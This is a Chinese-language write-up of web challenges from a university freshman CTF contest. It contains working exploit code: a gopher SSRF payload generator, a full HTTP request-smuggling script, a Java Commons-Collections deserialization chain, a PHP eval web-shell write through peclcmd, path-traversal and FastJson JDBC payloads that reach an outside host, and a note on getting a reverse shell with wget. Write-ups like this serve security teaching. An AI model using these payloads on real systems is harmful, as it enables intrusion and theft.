2025_SCU_0x401新生交流赛WEB方向解题报告

本次交流赛,WEB 方向共设 23 题,已解出 22 题,以下是是较为简略的个人解题报告(以下题目顺序按照解题人数从多到少排序)。

image-20251201142811704
No. Challenge Name Key Points Solved Difficulty
1 Web学习指北 Base64解码 37 Baby
2 LuckyBox 前端JS 36 Baby
3 【糕手】php-master PHP动态执行命令WAF绕过 28 Baby
4 【糕手】rce-master Shell命令WAF绕过 28 Baby
5 【糕手】unser-master 简单PHP反序列化 24 Baby
6 php_beginner PHP解析变量特性 23 Eazy
7 AdminPanel JWT无验签伪造 & pickle反序列化WAF绕过(subprocess 21 Eazy
8 【糕手】upload-master .user.ini文件上传 21 Eazy
9 NowYouSeeMe 响应头Etag信息搜集 19 Eazy
10 Just A Browser gopher协议打POST & 8进制绕过WAF 17 Eazy
11 Bait-and-switch PHP变量覆盖 & 简单逻辑绕过 16 Eazy
12 AdminPanelPlus JWT无验签伪造 & pickle反序列化WAF绕过(文件读取非预期) 14 Medium
13 ezspring 爆破 &SPEL注入 10 Medium
14 【糕手】源审启动 HTTP请求走私 & 缓冲区截断攻击 10 Medium
15 OpenSourceBlog emlog任意文件上传漏洞 & PHP代码关键词WAF 9 Medium
16 ezjava BadAttributeValueExpException改CC4链 3 Hard
17 IIInclude PHP匿名类调用 & 序列化关键词WAF绕过 & __PHP_Incomplete_Class利用 & peclcmd替换pearcmd写shell 2 Hard
18 Maze AI生成脚本 & Python原型链污染 2 Hard
19 Z3Blog PHP代码审计 2 Hard
20 ERP Java代码审计 & FastJsonJDBC反序列化 1 Hard
21 ImgUpload Apache中间件安全:路径截断 & 根目录重写 1 Hard
22 Imgviewer CVE-2024-2961:图片处理函数到任意文件读 & 任意文件读到RCE 1 Hard
23 RuoYi * 0 Insane

Web学习指北(37solved)

考点:base64解码

LuckyBox(36solved)

考点:前端 js 控制台运行

【糕手】php-master(28solved)

考点:php动态执行命令黑名单绕过

【糕手】rce-master(28solved)

考点:shell命令黑名单绕过

【糕手】unser-master(24solved)

考点:简单的 php 反序列化

php_beginner(23solved)

考点:php解析特性

AdminPanel(21solved)

考点:jwt无验签伪造 + pickle反序列化WAF绕过(subprocess)

【糕手】upload-master(21solved)

考点:.user.ini

NowYouSeeMe(19solved)

考点:响应头Etag信息搜集。

Just A Browser(17solved)

考点:SSRF & 8进制绕过 WAF。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: utf-8 -*
import urllib.parse

payload =r"""POST /backdoor.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

exp="\163\171\163\164\145\155"("\143\141\164\40\57\146\154\141\147");"""
new = urllib.parse.quote(payload, safe='')
new = new.replace('%0A', '%0D%0A')
# print(new)
result = 'gopher://0.0.0.0:80/' + '_' + new
print(result)

Bait-and-switch(16solved)

考点:php变量覆盖 & 简单的逻辑绕过

payload:

1
2
3
4
5
{
"username": "guest",
"password": "guest",
"role": "admin"
}

AdminPanelPlus(14solved)

考点:jwt无验签伪造 & pickle 反序列化WAF绕过

非预期打法:直接 open("/flag")linecache.getlines, ('/flag',))

ezspring(10solved)

考点:不限速六位数爆破 & 无WAF的 SPEL 注入

SPEL 注入点:

  • BOOT-INF/classes/ezspring/service/ConfigService.java 第 59-61 行

  • 1
    2
    3
    Expression exp = this.parser.parseExpression(value, (ParserContext)new TemplateParserContext());
    StandardEvaluationContext context = new StandardEvaluationContext();
    return (String)exp.getValue((EvaluationContext)context, String.class);

【糕手】源审启动(10solved)

考点:HTTP请求走私 & 缓冲区截断(可以结合 AI 进行学习)

protocol.pybody_len & 0xFFFF 导致 65536 字节 的 Body 长度被截断为 0 。

  1. 预处理

    • 发送一个 65536 字节 Body 的请求给 Proxy。
    • Proxy 转发给后端,头部写着 Body-Len: 0 ,后面却紧跟 65536 字节数据(开头 POST /flag )。
    • 后端回显 “Welcome”,然后把剩下的数据当成第二个请求解析(回显 “Flag” )。
    • “Flag” 回复卡在 TCP 缓冲区里 。
  2. 触发:你发送任意正常请求,读到了缓冲区里的 “Flag” 。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import socket
import struct
import time


def build_request_bytes(method, uri, headers, body):
data = b''
m_bytes = method.encode('utf-8')
data += struct.pack('>H', len(m_bytes))
data += m_bytes
u_bytes = uri.encode('utf-8')
data += struct.pack('>H', len(u_bytes))
data += u_bytes
data += struct.pack('>H', len(headers))
for k, v in headers.items():
k_b = k.encode('utf-8')
data += struct.pack('>H', len(k_b))
data += k_b
v_b = v.encode('utf-8')
data += struct.pack('>H', len(v_b))
data += v_b
b_bytes = body if isinstance(body, bytes) else body.encode('utf-8')
data += struct.pack('>H', len(b_bytes))
data += b_bytes
return data


def main():
target_ip = '154.94.237.159'
target_port = 34530

# 1. Smuggled Request
smuggled = build_request_bytes('POST', '/flag', {}, b'')

# 2. Partial Request Header
# Method: A, URI: B, Headers: {}, BodyLen: 65535
partial = b''
partial += struct.pack('>H', 1) + b'A' # Method
partial += struct.pack('>H', 1) + b'B' # URI
partial += struct.pack('>H', 0) # Headers Count
partial += struct.pack('>H', 0xFFFF) # Body Len

payload_start = smuggled + partial

# 3. Padding
# We need total body length = 65536
total_len = 65536
current_len = len(payload_start)
padding_len = total_len - current_len

if padding_len < 0:
print("Error: Smuggled request too large?")
return

full_body = payload_start + b'X' * padding_len

print(f"Payload size: {len(full_body)}")

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

# Send Request 1
print("Sending Request 1...")
req1 = (
b"GET / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 65536\r\n"
b"\r\n"
)
s.sendall(req1)
s.sendall(full_body)

# Read Response 1
print("Reading Response 1...")
resp1 = s.recv(4096)
print("Response 1 received.")
# print("Response 1:", resp1.decode('utf-8', 'ignore'))

# Send Request 2
print("Sending Request 2...")
req2 = (
b"GET / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"\r\n"
)
s.sendall(req2)

# Read Response 2 (Should contain Flag)
print("Reading Response 2...")
resp2 = s.recv(4096)
print("Response 2:", resp2)

s.close()


if __name__ == '__main__':
main()

OpenSourceBlog(9solved)

考点:emlog 任意文件上传漏洞 & 关键词 WAF

参考资料:emlog pro 2.2.0 文件上传漏洞分析

ezjava(3solved)

考点:BadAttributeValueExpException 改cc4链(TI)

详解:

1
2
3
4
5
6
7
8
9
10
11
BLACKLIST.add("com.sun.jndi");
BLACKLIST.add("com.fasterxml.jackson");
BLACKLIST.add("org.springframework");
BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
BLACKLIST.add("java.security.SignedObject");
BLACKLIST.add("java.sql.DriverManager");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
BLACKLIST.add("org.postgresql.ssl.MakeSSL");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

WAF了 PriorityQueue,换成 BadAttributeValueExpException 触发。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AttackCC4TI {
public static void main(String[] args) throws Exception {
byte[] bytes = generate();
String b64 = Base64.getEncoder().encodeToString(bytes);
java.nio.file.Files.write(java.nio.file.Paths.get("payload.txt"), b64.getBytes("UTF-8"));
System.out.println("OK payload.txt");
}

static byte[] generate() throws Exception {
byte[] clazz = readAll("EchoPayload.class");
TemplatesImpl templates = new TemplatesImpl();
set(templates, "_name", "pwn");
set(templates, "_bytecodes", new byte[][]{clazz});
set(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[0], new Object[0])
};
Transformer chain = new ChainedTransformer(transformers);

Map inner = new HashMap();
Map lazy = LazyMap.lazyMap(inner, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazy, "foo");
BadAttributeValueExpException bae = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(bae, entry);
Field fac = lazy.getClass().getDeclaredField("factory");
fac.setAccessible(true);
fac.set(lazy, chain);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bae);
oos.close();
return baos.toByteArray();
}

static void set(Object obj, String f, Object v) throws Exception {
Field field = obj.getClass().getDeclaredField(f);
field.setAccessible(true);
field.set(obj, v);
}

static byte[] readAll(String path) throws Exception {
File file = new File(path);
InputStream is = new FileInputStream(file);
byte[] buf = new byte[(int) file.length()];
int off = 0;
int n;
while ((n = is.read(buf, off, buf.length - off)) > 0) off += n;
is.close();
return buf;
}
}

IIInclude(2solved)

考点:匿名类调用 & sS绕过关键词 WAF & __PHP_Incomplete_Class 绕过S检查和 serialize(unserialize(x))!=x & peclcmd代替pearcmd进行写shell包含。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?+config-create+/<?=@eval($_POST['cmd']);?>+/var/www/html/shell2.php HTTP/1.1
Host: 154.94.237.159:33307
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 448
Origin: http://154.94.237.159:33307
Connection: keep-alive
Referer: http://154.94.237.159:33307/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

input=class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%3A45%240&user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22%5C61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A163%3A%22O%3A22%3A%22__PHP_Incomplete_Class%22%3A3%3A%7Bs%3A27%3A%22__PHP_Incomplete_Class_Name%22%3Bs%3A10%3A%22Middleware%22%3Bs%3A6%3A%22prefix%22%3Bs%3A19%3A%22%2Fusr%2Flocal%2Flib%2Fphp%2F%22%3Bs%3A6%3A%22suffix%22%3Bs%3A15%3A%22%2F..%2Fpeclcmd.php%22%3B%7D%22%3B%7D

Maze(2solved)

考点:AI 生成算法绕过第一关迷宫 & python 原型链污染。

参考资料:浅谈Python原型链污染及利用方式-先知社区

本题 flag 格式为:flag{part1-part2-part3}

Z3Blog(2solved)

考点:php 代码审计

漏洞代码:

1
2
3
4
5
$img_dir = dirname(__FILE__) . $img_path;
$img_base64 = imgToBase64($img_dir);
if ($img_base64) {
echo '<img src="' . $img_base64 . '">';
}

payload:

1
/index.php?r=User/Index&img_path=%2F..%2F..%2F..%2F..%2Fflag

ERP(1solved)

考点:java 代码审计

详解:

  1. 任意文件读取:
  • 文件: src/main/java/com/jsh/erp/controller/ResourceController.java
  • 方法: download (映射路径 /{apiName}/webp)

download 方法未对 path 参数进行有效的目录遍历限制。LogCostFilter 存在白名单机制,URL 中包含 /webp 即可绕过权限验证。

  1. 绕过登陆验证:
  • 文件: src/main/java/com/jsh/erp/filter/LogCostFilter.java
  • 方法: doFilter

过滤器中隐藏了一段后门逻辑。如果请求头 X-Auth-Key 和参数 __auth 满足特定哈希关系(基于 secret 密钥),则直接放行请求,绕过登录验证。

这部分直接结合 AI 生成这个哈希逻辑。

  1. FastJsonjdbc 反序列化
1
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "123.57.107.33", "portToConnectTo": 3308, "info": { "user": "base64ZGVzZXJfQ0MzMV9zaCAyLnNo", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }
  1. wget 写恶意 sh 反弹 shell

ImgUpload(1solved)

考点:apache 的中间件安全:截断路径 & 根目录重写

参考资料:Blackhat 2024 Confusion Attacks

提示:请注意目前 当前目录 所处的位置

Imgviewer(1solved)

考点:CVE-2024-2961 中的两种打法:oracle 从图片处理函数到任意文件读 & 从任意文件读到 RCE

参考资料:

GitHub - kezibei/php-filter-iconv

github.com/synacktiv/php_filter_chains_oracle_exploit

一次读取失败建议尝试多次读取。